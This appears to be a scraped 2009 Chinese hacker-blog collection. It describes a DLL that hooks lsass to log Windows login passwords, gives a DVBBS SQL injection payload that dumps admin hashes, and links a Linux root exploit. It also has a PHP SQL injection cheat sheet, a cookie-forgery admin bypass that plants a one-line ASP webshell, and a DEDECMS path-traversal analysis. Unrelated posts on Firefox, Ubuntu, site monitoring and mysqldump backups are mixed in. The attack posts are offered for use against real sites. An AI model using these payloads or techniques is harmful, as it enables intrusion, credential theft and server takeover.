from: t00ls.net

========原理:
windows的身份验证一般最终都是在lsass进程,默认模块是msv1_0.dll,而关键在其导出函数LsaApLogonUserEx2,
本程序通过注入代码到lsass进程hook LsaApLogonUserEx2,截取密码。只要有身份验证的过程,
LsaApLogonUserEx2就会触发,如ipc$,runsa,3389远程桌面登陆等。

程序对不同系统做了处理,在2000,2003,xp,vista上都可以截取,
在2000,2003,xp中,通过UNICODE_STRING.Length 的高8位取xor key,如果密码是编码过的,则通过ntdll.RtlRunDecodeUnicodeString解码,
vista则通过AdvApi32.CredIsProtectedW判断密码是否编码过,解码用AdvApi32.CredUnprotectW。

可以自己调试器挂lsass跑一下:)

========接口:
HRESULT WINAPI DllInstall( BOOL bInstall, LPCWSTR pszCmdLine);

这是本dll导出的一个函数原型,请不要被名字蛊惑了,这个程序是绿色的。
这个函数内部并没有做任何自启动安装的动作,没有修改注册表或系统文件。只是想选一个符合regsvr32调用的接口而已。

第一个参数本程序没用到,
第二个参数请指定一个文件路径(注意是UNICODE的),记录到的数据将保存到这里(是Ansi的)。
文件路径可以像这样 C:\x.log,
也可以像\\.\pipe\your_pipename, \\.\mailslot\yourslot,
所以你可以自己写loader来调用这个dll,让dll截取到密码时通过pipe或mailslot将数据发给你的程序。数据就是一个字符串(是Ansi的)

========测试:
你可以不急着写自己的loader来调用,用regsvr32作为loader来测试一下:(你可能需要关闭某些主动防御)
regsvr32 /n /i:c:\xxx.log c:\pluginWinPswLogger.dll
正常的话regsvr32弹出一个提示成功。

这时候你可以切换用户或锁定计算机,然后重新登陆进去,这个过程密码信息就被拦截下来了并保存到c:\xxx.log。

=========End

By LZX
2009.08.20

2009.08.22(更新了一下)

can-record-windows-login-password-dongdong

DVBBS php2.0 注入漏洞

来源:Xiaoz

boardrule.php?groupboardid=1/**/union/**/select/**/concat(0xBAF3CCA8D3C3BBA7C3FBA3BA,username,0x202020C3DCC2EBA3BA,password)/**/from%20dv_admin%20where%20id%20between%201%20and%204/**/

admin/index.php

进入后台即可了..

模板CSS里添加上php木马,或者用一句话木马连接即可拿到webshell了.

来源:baoz

微软本月月经日(8.11)的同一天,国外黑客taviso和julien公开了可以攻击所有新旧Linux系统的一个漏洞,包括但不限于 RedHat,CentOS,Suse,Debian,Ubuntu,Slackware,Mandriva,Gentoo及其衍生系统。黑客只需要执行一个命令,就可以通过此漏洞获得root权限,即使开启了SELinux也于事无补。攻击这个漏洞到底有多简单,下面我们看图说话,有图有真相。

linux-kernel-high-risk-vulnerability-a-command-directly-to-the-right

如上图所示,利用此漏洞极其简单,并且影响所有的Linux内核,baoz强烈建议系统管理员或安全人员参考下列临时修复方案,以防止Linux系统被攻击 。

2个攻击包下载
1、linux-kernel-high-risk-vulnerability-a-command-directly-to-the-right
2、http://www.securityfocus.com/data/vulnerabilities/exploits/wunderbar_emporium-3.tgz

1、使用Grsecurity或者Pax内核安全补丁,并开启KERNEXEC防护功能。

2、升级到2.6.31-rc6或2.4.37.5以上的内核版本。

3、如果您使用的是RedHa tEnterprise Linux 4/5的系统或Centos4/5的系统,您可以通过下面的操作简单的操作防止被攻击。

在/etc/modprobe.conf文件中加入下列内容:

install pppox /bin/true
install bluetooth /bin/true
install appletalk /bin/true
install ipx /bin/true
install sctp /bin/true

很明显,第三个方案最简单也相对有效,对业务影响也最小,如果您对编译和安装Linux内核不熟悉,千万不要使用前两个方案,否则您的系统可能永远无法启动。

Linux在微软的月经日爆如此严重的漏洞,挺值得纪念的。如果您希望了解本漏洞更多的内幕、八卦和细节,请访问http://baoz.net/linux-sockops-wrap-proto-ops-local-root-exploit/ 。

PHP的SQL注入

来源:lost Blog

语句,只有灵活的运用SQL
语句才能构造出牛比的注入字符串。学完之后写了点笔记,已备随时使用。希望你在看下面内容时先了
解SQL的基本原理。笔记中的代码来自网络。
===基础部分===
本表查询:
http://127.0.0.1/injection/user.php?username=angel' and LENGTH(password)='6
http://127.0.0.1/injection/user.php?username=angel' and LEFT(password,1)='m

Union联合语句:
http://127.0.0.1/injection/show.php?id=1' union select 1,username,password from user/*
http://127.0.0.1/injection/show.php?id=' union select 1,username,password from user/*

导出文件:
http://127.0.0.1/injection/user.php?username=angel' into outfile 'c:/file.txt
http://127.0.0.1/injection/user.php?username=' or 1=1 into outfile 'c:/file.txt
http://127.0.0.1/injection/show.php?id=' union select 1,username,password from user into outfile 'c:/user.txt

Insert语句:
Insert INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', '$username', '$password', '$homepage', '1');
构造homepage值为:http://4ngel.net', '3’)#
SQL 语句变为:Insert INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', 'angel', 'mypass', 'http://4ngel.net', '3’)#', '1');

Update语句:我喜欢这样个东西
先理解这句SQL
Update user SET password='MD5($password)', homepage='$homepage' Where id='$id'
如果此SQL被修改成以下形式,就实现了注入
1:修改homepage值为
http://4ngel.net', userlevel='3
之后SQL语句变为
Update user SET password='mypass', homepage='http://4ngel.net', userlevel='3' Where id='$id'
userlevel为用户级别
2:修改password值为
mypass)' Where username='admin'#
之后SQL语句变为
Update user SET password='MD5(mypass)' Where username='admin'#)', homepage='$homepage' Where id='$id'
3:修改id值为
' or username='admin'
之后SQL语句变为
Update user SET password='MD5($password)', homepage='$homepage' Where id='' or username='admin'
Read the rest of this entry

来源:http://hi.baidu.com/cool_cyn
最近使用上了FireFox 3.5.2火狐浏览器,可发现它无法支持迅雷下载,下载个东西还要跑到IE浏览器去,麻烦头痛,于是找到了完美支持它的方法。

首 先安装 Greasemonkey{0.8.20090123.1}.xpi ,然后安装 ThunderExtension{3.5}.xpi ,重启浏览器,将 xunlei_href_remover.user.js 拖向浏览器即可,火狐迅雷插件完美了。

有人会问什么Greasemonkey?《可参见这里》

文件下载:greasemonkey-script-to-enable-the-use-of-support-xunlei-firefox3-5-perfect-plug-ins
greasemonkey-script-to-enable-the-use-of-support-xunlei-firefox3-5-perfect-plug-ins1
xpi格式文件的安装方法:(三种)

1,直接拖拽到Firefox浏览器的窗口里或扩展窗口里

2,点击 '菜单"--"工具"--''扩展'',把.xpi文件拖进弹出窗口里,稍后就可以看到Firefox会询问你是否要安装这个插件,点击是,并重启Firefox浏览器

3,鼠标右键点xpi文件,选打开方式,在打开方式里选firefox,设置关联。以后只要双击xpi文件就自动安装了
greasemonkey-script-to-enable-the-use-of-support-xunlei-firefox3-5-perfect-plug-ins2

枫叶贴吧管理系统提权

作者:st0p
转载请注明http://www.st0p.org

刚刚干完活,看到BK瞬间(黑色瞬间)群中的Link发出一个40位的HASH问是什么加密算法,看起来很像是MD5,他说有源码来着,是枫叶贴吧留言管理系统,然后就下了一个看了一下,目标是枫叶贴吧留言管理系统2.2,官方最新是2.3.以下提权文章同样适用于,别的版本因为st0p没有试,暂时未知。

首先看了一下他的MD5为变异后的算法。

1
2
3
4
5
6
'正常的16位是
MD5=LCase(WordToHex(b) & WordToHex(c))
'正常的32位是
MD5 = LCase(WordToHex(a) & WordToHex(b) & WordToHex(c) & WordToHex(d))
'而枫叶贴吧这个是
MD5=LCase(WordToHex(b) & WordToHex(c) & WordToHex(d) & WordToHex(c) & WordToHex(d))

看到上面的代码,我们明白,只需要取前16位就可以得到一个标准的MD5 HASH了。
不过Link所发的HASH,虽然转换为标准的MD5,但还是无法破解,难道去用彩虹表去跑?不太现实。。。
然后偶就看了一下管理员登陆的验证部分通过Call admin_user()验证,这个自定义过程在admin/websub.Asp下,看代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<%
Sub admin_user()
server_v1=Cstr(Request.ServerVariables("HTTP_REFERER"))
server_v2=Cstr(Request.ServerVariables("SERVER_NAME"))
If mid(server_v1,8,len(server_v2)) <> server_v2 Then
Response.Write("提交的路径有误,禁止从站点外部提交数据!")
Response.End()
End If
'来路验证
If Request.Cookies("fy_admin")("admin_name") = "" Or Request.Cookies("fy_admin")("admin_pwd") = "" then
'这里检查COOKIE是否为空,如果为空则弹出错误
%>
<script language="javascript">
       alert("用户名、密码输入错误或登录超时!")
       top.window.location.href="index.Asp"
</script>
<%
response.End()
Else
   admin_name = ReplaceBadWord(Request.Cookies("fy_admin")("admin_name")) 
   admin_pwd = ReplaceBadWord(Request.Cookies("fy_admin")("admin_pwd"))
   Sql="Select [id] From [FY_user] where [user_name] = '"& admin_name &"' And [user_pwd] = '"& admin_pwd &"' And [admin_user] = True"
'这里得到了COOKIE中的用户名和密码,然后去数据库中查询,那么Link他有帐号和密码加密串(这个杂得到的就看自己了,不在本文所述范围内)
   Set Rs=Server.CreateObject("adodb.recordset")
   Rs.open Sql,Conn,1,1
   If Rs.Eof Then 
%>
<script language="javascript">
       alert("用户名、密码输入错误或登录超时!")
       top.window.location.href="index.Asp"
    </script>
<%
'如果不存在就弹错误并转向
  Rs.Close
  Set Rs = Nothing
  Conn.Close
  Set Conn = Nothing
  Response.End()
End If
End If
End Sub
%>

看了上面的代码,我们明白了,只要得到了管理员帐号和密码加密串,就算密码不明文也可以登陆后台的,本地测试了下,具体利用方法看图
我直接用的Domain 打开的,
maple-leaf-paste-it-to-the-right-management-system1

然后我们更改COOKIE为
adminlogin=ok; AJSTAT_ok_times=4; rtime=2; ltime=1250136556890; cnzz_eid=11431232-1249953091-; cnzz_a1486952=128; vw1486952=%3A12615495%3A44823207%3A40666310%3A46212165%3A25600025%3A29444686%3A25258995%3A25606111%3A63487011%3A157930096%3A131052116%3A71646447%3A30142302%3A25956610%3A25956612%3A51750970%3A64773858%3A159414371%3A25258997%3A32122126%3A28352637%3A29995474%3A73781790%3A478748446%3A-415391530%3A30555659%3A26313187%3A25953230%3A40674705%3A47597254%3A42064308%3A37887794%3A42059735%3A53756704%3A464636813%3A-203511843%3A-117404089%3A; sin1486952=http%3A//127.0.0.1%3A88/my_task_list.php%3Flie%3D2; AJSTAT_ok_pages=32; ASPSESSIONIDCSBDQCDD=IINFBMMBGAMIAOPLJPPAMMHK; fy%5Fadmin=admin%5Fpwd=469e80d32c0559f88b3772452c0559f88b377245&admin%5Fname=admin

其中
admin%5Fname为用户名
admin%5Fpwd为密码HASH
然后更改后,直接进入后台
maple-leaf-paste-it-to-the-right-management-system2
得到了管理权限,提权就简单多了。这个系统写配置文件的时候,是写把配置写入了incsub/Config.Asp中,我们点击网站基本设置,基本设置,在网站名称处,输入":execute request("st0p")&"
如图
maple-leaf-paste-it-to-the-right-management-system3
然后我们的一句话就写成功了

http://target.com/incsub/Config.Asp

密码是st0p
再然后就不用我说了吧。。。
嘿嘿,当然会有人问帐号和密码HASH从哪来,这个有很多方法了,我想Link搞的站就该是没有默认改数据库路径吧
其实如果在后台验证时没有自定义的ReplaceBadWord函数的话,我们完全可以直接在COOKIE中构造语句来实现,那样就不用得到用户名和HASH值了,此方法只适合有管理员帐号和密码HASH时,但无法破解MD5为明文时有用,又是一个相当鸡肋的洞哦,不过有时利用好了也不错哦。。。好像这个COOKIE验证的网上还没有写的吧,反正我是没看到。。。
上一篇偶写的DEDECMS的鸡肋洞发现有一些人转了,虽然我写了版权没有,可以随意转载,也不用连作者:st0p也删掉吧,而且我还在黑基看到了这文章,郁闷了。。。

DEDECMS XDAY

作者:st0p
在此记录一下,嘿嘿,这个洞可是杰少偶们两发现的哦。。。相当YD吧,而且还帮我找到了两个ROOT权限。。
此漏洞为st0p和杰少发现,版权没有,欢迎转载!
为啥叫XDAY不叫0DAY呢,因为这个洞比较乱,涵盖的版本比较多,但却用处不大,相当鸡肋,不过利用好了还是有点效果的。。

正无聊时发现YD的杰少发来消息,说他发现了DEDECMS一个很鸡肋的东西,include/dialog/select_soft.php文件可以爆出DEDECMS的后台,以前的老板本可以跳过登陆验证直接访问,无需管理员帐号,新版本的就直接转向了后台。
看到消息后我脑子里就有了个YD的想法,会不会官方也存在,然后马上打开http://www.dedecms.com/include/dialog/select_soft.php,可惜的是官方会提示你输入后理目录,不会转向。如图1
dedecms-xday1
失望啊,不过在和杰少的聊天中得知安全中国存在这个问题,于是打开http://www.anqn.com/include/dialog/select_soft.php,果然转向了,如图2
dedecms-xday2
看到没,后台地址是article_6565998um9)-_这个,标题栏是delphi V53_1_GBK,DELPHI成文章系统了。。下面去还有织梦的图片。。。。
既然存在,赶快去官方下载了最新的DedeCMS V5.5正式版,DedeCMS V5.3.1和DedeCmsV5.1FreeSP1这三个版本,然后本地架设起来,分别对select_soft.php文件分析了一下,让我发现了更有趣的东西。
首先咱们看DedeCmsV5.1FreeSP1这个版本吧,关键代码如下
include/dialog/select_soft.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
< ?php 
require_once(dirname(__FILE__)."/config.php");//这里面检测了是否已登入
 
if(empty($activepath)) $activepath = "";
 
$activepath = str_replace("..","",$activepath); //过滤了..但没过滤.
$activepath = ereg_replace("^/{1,}","/",$activepath);
if(strlen($activepath)<strlen($cfg_soft_dir)){ 
	$activepath = $cfg_soft_dir;
}
//如果得到的路径值长度小于设置中的$cfg_soft_dir值的长度那么把$activepath等于$cfg_soft_dir,系统默认为/uploads/soft
//注意看这里,如果这个值大于$cfg_soft_dir值的长度的时候就会跳过去了,$cfg_soft_dir存在于include/config_base.php
 
$inpath = $cfg_basedir.$activepath; 
$activeurl = "..".$activepath;
if(empty($f)) $f="form1.enclosure";
 
if(empty($comeback)) $comeback = "";
 
?>

Read the rest of this entry

fuck ubuntu 9.04

日,真郁闷,试软件,KEYGEN报毒,以为误报,结果全盘感染。。。(小心为好)
装了XP,删了一个30G的分区,用来装UBUNTU9.04,结果硬盘装了N次不成功,老是BUSYBOX,刻光盘装吧,又找不到SATA硬盘,测试了一会加了不少参数,发现还是比8.04加的多了几个,装好后不能上网,好像是说8168网卡和UBUNTU兼容不好。
网上搜了N多解决方案,无效,最后换回8.04,发现网络还是时断时上,升级8.10,还是断断续续的上网,最后重新装了最新的驱动,成功上网。。郁闷,为啥9.04装最新的也不能上,难道我运气问题?

FUCK,你说说要是装上UBUNTU不能上网,这个大多功能都需要网络的系统还有啥用,不如去装别的LINUX了,好像好久没装过RED HAT了。。。
最近会多更新一些UBUNTU下的文章,当记录吧。。

来源:帕兰映像

11款网站服务器监测通知工具。没有哪个站长愿意自己的网站宕机,但Google服务器都会出问题,何况是我等小网站、破服务器。

宕机所带来的损失和付出的代价往往是巨大的,我们除了能够尽量购买一个稳定的服务器之外,对待Down机的最好解决办法只有一个了: 及时解决。要及时解决就得及时知道网站服务器什么时候Down了。你不可能24小时刷新着自己的网页去查看网页是否正常,更不要奢望你的用户会在第一时间通知你网站Down了,除非你是Google。

所以,做为一个站长,网站监测通知工具几乎是必备的工具。本文里面,帕兰映像为你精心收集整理了一些在线网站服务器监测通知工具。通过这些工具,你可以及时的通知Feed订阅、Email邮件、SMS短信或电话提醒来获知网站是否出现了问题,以减少损失。
1. Alertyx
Alertyx是一个网站服务器监测通知工具,监测对象包括Web服务器、邮件服务器和数据库服务器等。当你添加的网站服务器出现Down机情况时,它会以你指定的方式通知你: 包括电话通知、SMS短信通知和邮件通知。

它有免费帐户和收费收户,但免费帐户对于大多数人来说已经足够了,免费帐户甚至包含了电话提醒功能,免费电话提醒支持的国家地区中也包含有中国。

帕兰还没有具体试用,不过推荐有兴趣的站长朋友去体验一下。
2. Howsthe
这个跟上面的Alertyx差不多,它支持Email通知、Feed订阅通知和SMS短信提醒(但不支持中国通信服务商)。另外,还可以设置关键字监控,监控频率和通知频率等。
3. Host-tracker
HostTracker是美国的一家提供网站服务器监测服务的网站,使用HostTracker,当你的网站不能正常在线访问时其会发邮件通知你。 HostTracker免费网站服务器监测服务可以监测最多2个网站,最少每30分钟监测一次,每周发送统计报告,提供在线率统计图标(可放置在你的网站上);HostTracker试用版可以使用 30天,最多可监测100个网站,最少每分钟监测一次,每天发送报告,试用期结束后你可以升级为免费版继续使用。HostTracker还提供了全球网站访问速度测试,在全球有30多个测试点,可测响应时间和下载速度。
4. 超级网站监控 (Monitorx)
超级网站监控(monitorX)是国内的一家网站服务器监测服务商,除了收费监控服务,还为广大站长提供免费的网站监控服务:每6分钟检测一个网址一 次、免费赠送10条短信通知、每月30封网站出错邮件通知。超级网站监控支持监控页面包含关键词,可有效防止一般的黑客修改、挂马,DNS劫持。
5. chinaz的网站服务器监测服务
网站保姆是由中国站长站(ChinaZ)推出的网站服务器监测服务,对于免费用户,可以监测一个网站(可监测域名或IP,可设置监测端口),每隔10-15分钟监测一次,出现问题会给你发送Email通知。
Read the rest of this entry

来源:互联网
mysqldump是备份mysql数据库的一种好工具。它相对于用phpmyadmin等备份工具更加快速,又避免受php.ini等的限制,在windows系统下还可以结合计划任务实现定时远程备份数据库。

操作用mysqldump备份数据库的用户需要的权限比较小,只需要select和lock table的权限就足够了。所以可以创建一个备份数据库的用户,专门用于备份数据库,这样可以避免数据库受到意外的破坏。

在备份数据库之前我们要做足准备功夫,首先创建了执行备份操作的数据库用户——backup,密码为:123456。其次,确定我们要备份哪个数据库,放在哪里。然后,确定数据库的备份文件要放到哪里。

假设我们的任务是要备份一个位于192.168.1.2服务器上,名称为backup_test的数据库,并把备份文件放到D:\bak\的文件夹中。又假设我们的操作系统为windows xp,于是我们可以用以下的方法执行备份操作:

我们可以使用windows自带的命令提示符(调用命令提示符的方法有多种,最常用的就是点击开始菜单,选择“运行”,输入cmd的命令就可以启动了),在命令提示符中输入以下命令:

mysqldump -ubackup -p123456 -h 192.168.1.2 backup_test > D:\bak\bakcup.sql

在这段命令中:

mysqldump 是myqldump的程序名了;

-u 是数据库的用户名,后面紧跟着用户名backup;

-p 是数据库的密码,后面同样紧跟着密码,注意是-p和密码之间不能有空格;

-h 是数据库的地址,如果没有此项表明是备份本地的数据库;

backup_test 要备份的数据库名称;

> 表明该数据库备份到后面的文件,紧跟当然是备份文件的地址了,注意要用绝对文件路径,文件的后缀也可以用.txt。

一旦执行该命令后,mysqldump立即执行备份操作。远程备份数据库要似乎网络的情况,一般远程备份需要一定的时间的。

如果把这个命令写成批处理文件,通过windows的计划任务可以实现定时备份数据。

在windows下用mysqldump备份数据库,因为没有gzip的压缩引擎,因此不能对备份数据库进行压缩,因此如果备份文件多了要经常清理过期的数据库备份文件。